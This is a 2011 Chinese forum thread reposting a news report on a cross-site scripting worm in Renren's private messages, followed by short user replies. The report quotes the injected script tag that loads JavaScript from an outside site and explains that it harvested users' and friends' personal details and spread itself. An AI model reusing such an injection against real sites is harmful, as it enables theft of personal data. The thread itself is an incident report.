人人网遭受站内信跨站攻击

qin · 发表于 2011-4-30 09:22:41

人人网在30号凌晨开始,发生一场大规模资料泄露事件. 黑客使用人人网在站内信内容过滤不严的漏洞执行了一段远程代码, 打开站内信后会自动发送自己以及好友的个人资料,同时扩散这封站内信.

今天收到三份主题为<有人暗恋你哦，你想知道TA是谁么> 的站内信,

开始以为是游戏应用的推广方式,但是打开后发现有问题 ,通过查看站内信网页源码，发现其中有一行代码<script src='http://qiutuan.net/2011/51.js'>,它通过利用人人网的代码解析方式问题, 将本不该在文本中执行的代码执行了 .分析代码后发现其主要目的是收集用户的人人id、学校、生日、姓名、qq、msn、手机，然后通过通讯录功能，得到所有好友名片中的上述信息,然后将所有信息发送到作者的网站上.

另外在代码中关于发送站内信的函数megaboxx.submit_prehook并不是人人网本身的函数, 而是来自于facebook.

人人网最初的措施是将指向的网址设为敏感词.

凌晨3点半左右, 人人开始清理站内信. 但是这个漏洞依然存在.

这一波资料泄露到此结束. 下一波何时到来?

----------------------------------------------------------------------------
来自：http://www.cnbeta.com/articles/141465.htm

不知火海 · 发表于 2011-4-30 09:25:43

我肿么没有收到站内信？

天空幻想曲 · 发表于 2011-4-30 09:28:14

表示我看到的晚，然后果断把那个站内信删掉了 - -

晴小雨 · 发表于 2011-4-30 10:02:12

表示没有收到站内信- -

Root · 发表于 2011-4-30 10:18:50

JavaScript威武

1122332211 · 发表于 2011-4-30 10:30:14

收到两封已经被管理删除

ylp · 发表于 2011-4-30 11:24:52

昨晚确实收到很多的站内信但是打不开站内信估计是瘫痪了

逆刃 · 发表于 2011-4-30 12:21:33

晴小雨发表于 2011-4-30 10:02
表示没有收到站内信- -

同是被世界抛弃的人啊,握爪

空の轨迹 · 发表于 2011-4-30 14:49:13

木有收到的同学路过~~

沈钰翔 · 发表于 2011-4-30 16:37:02

收到4封，均被果断扼杀在未读状态中。

devilsigh · 发表于 2011-4-30 17:04:52

表示之前就已经注销了人人…………

小wo · 发表于 2011-4-30 23:08:29

即使收到也立即删除的一刚。。。

chenjingsuzhou · 发表于 2011-5-1 08:22:41

不知火海发表于 2011-4-30 09:25
我肿么没有收到站内信？

+1

		自动登录	找回密码
密码			注册账号